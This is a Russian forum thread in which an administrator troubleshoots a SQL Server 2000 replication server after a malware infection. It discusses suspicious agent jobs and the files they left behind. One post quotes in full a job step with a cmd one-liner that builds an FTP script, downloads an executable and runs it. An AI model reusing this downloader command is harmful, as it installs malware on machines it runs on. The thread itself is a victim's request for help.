Добро пожаловать в форум, Guest >> Войти | Регистрация | Поиск | Правила | | В избранное | Подписаться | ||
Все форумы / Microsoft SQL Server |
![]() ![]() |
Топик располагается на нескольких страницах: [1] 2 вперед Ctrl→ все |
Vakho Member Откуда: --------- Сообщений: 415 |
Windows Server 2003 SP2 MS SQL SERVER 2000 SP4 Начал делать бэкап вручную. И вот по нажатии одной из кнопок выскочил ужас, показанный на картинке. Я не знаю что с этим делать. Есть ли возможность ремонта (Repair) поврежденных программ ? Что для этого надо сделать ? Сервер выполняет роль дистрибутора и репликатора слиянием баз данных на восьми серверах. Спасибо. К сообщению приложен файл. Размер - 24Kb |
13 май 15, 00:48 [17631706] Ответить | Цитировать Сообщить модератору |
Гавриленко Сергей Алексеевич Member Откуда: Moscow Сообщений: 37143 |
Делать бэкап командой backup database. |
13 май 15, 01:01 [17631738] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Гавриленко Сергей Алексеевич, Уже сделал. С дефектом как бороться, вот в чем вопрос. Неприято, что он появился в системе. |
13 май 15, 01:10 [17631751] Ответить | Цитировать Сообщить модератору |
Гавриленко Сергей Алексеевич Member Откуда: Moscow Сообщений: 37143 |
|
||
13 май 15, 01:15 [17631762] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
У меня на другом компьютере в SQL Server Enterprise Manager-e зарегистрирован проблемный сервер. Я попытался сделать бэкап, но результат тот же самый. |
||
13 май 15, 01:29 [17631776] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
До этого была вирусная атака. Вирусы поубивал. Но видно либо SQL-овы программы, либо какие-то сервисы повредились. Те, которые обеспечивают удаленный доступ. |
13 май 15, 01:37 [17631792] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Посмотрел на всякий случай JOB-ы. Найденное показано на картинке. Про вирус hexsqlderver.exe в интернете ничего не нашел. Кто-нибудь с чем-нибудь подобным сталкивался ? PS На другом сервере тоже нашел JOB VD. Но у него JOB STEP вот такой: cmd /c echo open 127.0.0.1>c:\zysqlderver.exe&echo 123>>c:\zysqlderver.exe&echo 123>>c:\zysqlderver.exe&echo get sqlderver.exe c:\stsqlderver.exe>>c:\zysqlderver.exe&echo bye>>c:\zysqlderver.exe&ftp -s:c:\zysqlderver.exe&if EXIST c:\stsqlderver.exe (start c:\stsqlderver.exe)&del c:\zysqlderver.exe&exit Помогите чем можете. К сообщению приложен файл. Размер - 31Kb |
13 май 15, 12:31 [17633339] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
Наверное админа недавно уволили ? |
||
13 май 15, 12:33 [17633355] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Glory, Вы о чем ? |
13 май 15, 12:42 [17633412] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
О том, что вирусы джобы не создают |
||
13 май 15, 12:47 [17633465] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
OK. Но откуда-то этот JOB взялся же. Кстати. Но мне кажется этот вирус действует в лоб.. А в моем случае - с подходцем. Антивирус, по ходу, поубивал такие файлы: - shsqlderver.exe - xpsqlderver.exe - zysqlderver.exe Сидели они и в корне C:\, в мусорке, в WINDOWS\SYSTEM32. В общем, я первый раз с таким сталкиваюсь. |
||
13 май 15, 12:58 [17633540] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
Железная логика. Я не делал джоб, он не делал джоб, она тоже не делала - значит 146% это вирус Это такой крутой вирус, который соединяется с MSSQL и отсылает ему документированные команды создания джоба. |
||
13 май 15, 13:04 [17633597] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Glory, JOB, который запускает какие-то "левые" программы. JOB, который сидит на серверах, включенных в репликацию. На серверах, которые в репликации не принимают участие, JOB-a VB нет. |
13 май 15, 13:19 [17633727] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
Еще раз вопрос - Job то кто создал ? Да еще на всех серверах ? |
||
13 май 15, 13:21 [17633745] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
[quot Glory]
Если бы я знал, я бы его довно взял за жабры и времени у вас бы не отнимал. Среди сотрудников нет человека, который знал бы, что такое JOB. И вообще что такое SQL. |
||
13 май 15, 13:31 [17633859] Ответить | Цитировать Сообщить модератору |
Владислав Колосов Member Откуда: Сообщений: 8317 |
Vakho, а кто владелец джоба? |
13 май 15, 13:34 [17633892] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Владислав Колосов, К сообщению приложен файл. Размер - 12Kb |
13 май 15, 13:42 [17633971] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
И кто работал на сервере вчера 12.05.2015 в 20:31 ? |
||
13 май 15, 13:43 [17633990] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Glory, |:-| - Хозяин бизнеса. Он использует сервер, как рабочую станцию. Шарит по интернету. Его легче пристрелить, чем объяснить. |
13 май 15, 13:54 [17634110] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
Чего вы тогда от форума хотите ? |
||
13 май 15, 13:56 [17634124] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Glory, Если кто-то сталкивался с программами - shsqlderver.exe - xpsqlderver.exe - zysqlderver.exe - hexsqlderver.exe подскажите, что они портят в системе и как разрушенное восстановить. В интернете я информацию о них не нашел. |
13 май 15, 14:05 [17634210] Ответить | Цитировать Сообщить модератору |
Glory Member Откуда: Сообщений: 104760 |
Ну так обратитесь в форумы по вирусам |
||
13 май 15, 14:07 [17634225] Ответить | Цитировать Сообщить модератору |
Гавриленко Сергей Алексеевич Member Откуда: Moscow Сообщений: 37143 |
Переставляйте все, выгоняйте вашего хозяина с сервера веником, а если он вас не послушает, бегите оттуда. А лучше сразу бегите. Сообщение было отредактировано: 13 май 15, 14:13 |
13 май 15, 14:13 [17634267] Ответить | Цитировать Сообщить модератору |
Vakho Member Откуда: --------- Сообщений: 415 |
Да вот хотелось бы как-то "по-элехантнее", без крови. Год назад упал SQL публикатор-дистрибютор: утром сервер включают, а БД master сдохла. Поднял за пол часа без потерь данных. Но сейчас - даже не знаю с какого боку подступиться. Крутится антивирус Symantec Endpoint Protection 12.1 Full RU. Но от него пользы процентов на 60. В с лучае тревоги запускаю DrWeb CureIt. Он и делает окончательную зачистку. Интересно, какой на сегодня антивирус для Win 2003 "более лучший". Спасибо. |
||
13 май 15, 14:54 [17634702] Ответить | Цитировать Сообщить модератору |
Гавриленко Сергей Алексеевич Member Откуда: Moscow Сообщений: 37143 |
Выбор антивируса не имеет никакого отношения к MSSQL.
|
|
13 май 15, 15:32 [17635053] Ответить | Цитировать Сообщить модератору |
Топик располагается на нескольких страницах: [1] 2 вперед Ctrl→ все |
Все форумы / Microsoft SQL Server | ![]() |